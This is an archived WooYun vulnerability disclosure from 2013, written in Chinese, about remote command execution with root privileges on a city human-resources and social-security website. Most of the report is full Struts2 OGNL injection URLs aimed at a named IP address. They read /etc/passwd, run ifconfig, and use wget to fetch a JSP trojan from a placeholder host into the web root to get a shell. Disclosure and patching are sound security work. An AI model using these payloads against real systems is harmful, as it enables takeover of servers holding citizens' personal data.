乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-08-05: 细节已通知厂商并且等待厂商处理中 2013-08-09: 厂商已经确认,细节仅向厂商公开 2013-08-19: 细节向核心白帽子及相关领域专家公开 2013-08-29: 细节向普通白帽子公开 2013-09-08: 细节向实习白帽子公开 2013-09-19: 细节向公众公开
某市人力资源和社会保障网命令执行,root权限,可直接getshell
url:http://221.215.38.132:8099/wssb/xgxz/list.action
看看根目录:
http://221.215.38.132:8099/wssb/xgxz/list.action?redirect%3A%24{%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29}
cat /etc/passwd:
http://221.215.38.132:8099/wssb/xgxz/list.action?redirect:${%20%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27cat%27,%27/etc/passwd%27}%29%29.start%28%29,%20%23b%3d%23a.getInputStream%28%29,%20%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%20%23d%3dnew%20java.io.BufferedReader%28%23c%29,%20%23e%3dnew%20char[50000],%23d.read%28%23e%29,%20%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%20%23matt.getWriter%28%29.println%28%23e%29,%20%23matt.getWriter%28%29.flush%28%29,%20%23matt.getWriter%28%29.close%28%29%20}
ifconfig -a:
http://221.215.38.132:8099/wssb/xgxz/list.action?redirect:${%20%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{%27ifconfig%27,%27-a%27}%29%29.start%28%29,%20%23b%3d%23a.getInputStream%28%29,%20%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%20%23d%3dnew%20java.io.BufferedReader%28%23c%29,%20%23e%3dnew%20char[50000],%23d.read%28%23e%29,%20%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%20%23matt.getWriter%28%29.println%28%23e%29,%20%23matt.getWriter%28%29.flush%28%29,%20%23matt.getWriter%28%29.close%28%29%20}
还是root权限:
getshell方法:
221.215.38.132:8099/wssb/xgxz/list.action?redirect:${ %23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'wget','http://www.xxxx.com/muma.jsp''-O','/opt/weblogic/user_projects/domains/base_domain/servers/Server2/stage/wssb/wssb/muma.jsp'})).start(), %23b%3d%23a.getInputStream(), %23c%3dnew java.io.InputStreamReader(%23b), %23d%3dnew java.io.BufferedReader(%23c), %23e%3dnew char[50000],%23d.read(%23e), %23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'), %23matt.getWriter().println(%23e), %23matt.getWriter().flush(), %23matt.getWriter().close() }
这样就可以把muma.jsp木马下载到网站根目录下了。这里我没有上传webshell,避免被查水表!由于是人力资源网,信息量应该还是挺大的。
见详细说明
升级,打补丁
危害等级:中
漏洞Rank:6
确认时间:2013-08-09 22:08
暂无